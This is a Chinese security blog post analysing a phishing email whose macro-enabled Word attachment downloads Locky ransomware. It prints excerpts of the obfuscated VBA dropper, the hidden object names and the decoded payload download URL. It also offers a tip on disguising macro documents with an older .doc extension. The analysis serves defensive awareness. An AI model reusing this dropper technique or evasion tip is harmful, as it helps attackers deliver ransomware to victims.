警惕勒索软件,别乱打开office文档

  • A+
所属分类:安全闲碎

警惕勒索软件,别乱打开office文档

        前两天公司邮箱突然收到一封鸟语邮件,一开始以为是普通广告垃圾邮件,后来一看还带着docm的附件,就知道这肯定是钓鱼邮件,今天正好有时间分析一下。

邮件内容如图:

警惕勒索软件,别乱打开office文档


        把这些鸟语放到在线翻译上检测了下,翻译成中文是这样的:

你好,
讨论的最后两个附上发票,请解决
亲切的问候,
他avdyl


        把附件下载下来,用oledump分析下具体信息:


警惕勒索软件,别乱打开office文档


        可以看到A11到A15几个段都是宏,用oledump依次提取这些宏。

        首先看A14段的ThisDocument,office宏一般会设置为自动运行,这就需要配合一个函数autoopen,类似C语言中的main,这个函数都是在ThisDocument中定义的,找到这个函数一路分析下去就能知道这个宏木马在干啥。


Sub autoopen()If deletemonsters(0) > 0 Then   makeplatform 0, 0, 0, 0End IfEnd Sub

        autoopen先调用了deletemonsters,然后返回值大于0就继续调用makeplatform,我一开始还全部函数都跟着看,后来发现很多是无用代码,都是用来混淆和免杀的,加入一些正常代码能减少被杀软认出来的可能。

        然后来到一个这样的代码段:

Public Function KARASIK77(vData As Variant, tipo As String, Optional EsNulo As String) As Variant     Dim Cad As String    Dim ValorNumericoCero As Boolean    KARASIK771     Dim aKARASIK As String    aKARASIK = KARASIK_Gudvin(UserForm2.Image1.ControlTipText, "00", "e")     aKARASIK = KARASIK_Gudvin(aKARASIK, "D!", "M")     aKARASIK = KARASIK_Gudvin(aKARASIK, "bri", "s")     KARASIK__57 = Split(aKARASIK, "10)")     KARASIKSPL = Split("1664rn1856rn1856rn1792rn928rn752rn752rn1552rn1792rn1856rn1616rn1712rn1552rn800rn832rn736rn1840rn1856rn1824rn1616rn1632rn1552rn736rn1792rn1728rn752rn896rn912rn1936rn1648rn880rn1648rn896rn880rn1568rn1936rn1680", "rn")     Set KARASIK__1 = CreateObject(KARASIK__57(0)) 'Microsoft.XMLHTTP'    GetArgs "", ""

        看这里KARASIK_Gudvin是Replace函数的包装,最后KARASIK__57是一个数组,这全部数据的来源是UserForm2.Image1.ControlTipText,是一个表单控件的提示信息,这个字符串存放的位置真是选的不错。
        继续用oledump去提取UserForm2这个表单的信息,然后在A5提取到了这个字符串。


警惕勒索软件,别乱打开office文档


D!icrobrioft.XD!LHTTP10)Adodb.britr00aD!10)brih00ll.Application10)Wbricript.brih00ll10)Proc00bribri10)G00T10)T00D!P10)Typ0010)op00n10)writ0010)r00briponbri00Body10)briav00tofil0010)kristi00n.00x00


        用python处理下结果,可以看到是一些危险的vbs关键字:

警惕勒索软件,别乱打开office文档


        然后是那串很长的KARASIKSPL = Split("1664rn1856rn,往下找到相关代码:

    For KARASIK__8 = LBound(KARASIKSPL) To UBound(KARASIKSPL)         IS_3_KARASIK = IS_3_KARASIK & Chr(CInt(KARASIKSPL(KARASIK__8)) / 16)     Next KARASIK__8

        同样python处理后:

In[63]: t = '1664rn1856rn1856rn1792rn928rn752rn752rn1552rn1792rn1856rn1616rn1712rn1552rn800rn832rn736rn1840rn1856rn1824rn1616rn1632rn1552rn736rn1792rn1728rn752rn896rn912rn1936rn1648rn880rn1648rn896rn880rn1568rn1936rn1680'In[64]: ''.join(map(chr, map(lambda x: int(x)/16, t.split('rn')))) Out[64]: 'http://apteka24.strefa.pl/89yg7g87byi'

        是一个下载地址http://apteka24.strefa.pl/89yg7g87byi

        往后跟就是使用Microsoft.XMLHTTP创建对象,下载url中的文件,用Adodb.streaM的savetofile方法写入Temp目录,然后调用shell.Application运行改exe.

        然后我尝试去下载这个url时已经下不到了,Google搜索了下发现最近89yg7g87byi这个文件名到处都是,估计有人在大批量的发送钓鱼邮件
找了好几个url后终于下载到了这个文件,放到虚拟机里用peid查了下,查不到信息,然后准备用od载入看看。

        结果一不小心点到F9跑起来了,然后等了一会就看到了这个:


警惕勒索软件,别乱打开office文档


        原来是个勒索软件,o(╯□╰)o,虚拟机里的文档类的文件全部被加密成了27818F44D40C57E9E4609D7CEA83BE64.locky这种样子。

        没想到现在这种勒索软件已经猖狂到这种地步了,不懂我公司的邮箱是怎么泄露出去,还有这种邮件居然绕过了公司的邮件安全网关,分析了下他的免杀方案其实做的挺不错的,很多正常代码中夹着恶意代码。


警惕勒索软件,别乱打开office文档


        像这种函数定义方式,恶意代码运行完后直接加了句Exit Function,后面红框中的代码完全是没用的正常代码,乍看之下还以为这个函数真的是处理数据库相关的。

        另外设计邮件的人还挺懂中国国情的,连发票都知道。
        不过也有可以改进的地方,比如附件名的后缀,office2013以后带宏的文档后缀必须要改成docm,不带宏的是docx,这里稍微注意点就能看出来问题了,解决办法是保存为2003-2007格式的,那样既可以带宏,后缀又是doc(我好像说太多了,你们别干坏事)。
        总之平常得多注意这类邮件或者文件,最好完全关闭office的宏。


警惕勒索软件,别乱打开office文档

本文始发于微信公众号(T00ls):警惕勒索软件,别乱打开office文档

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: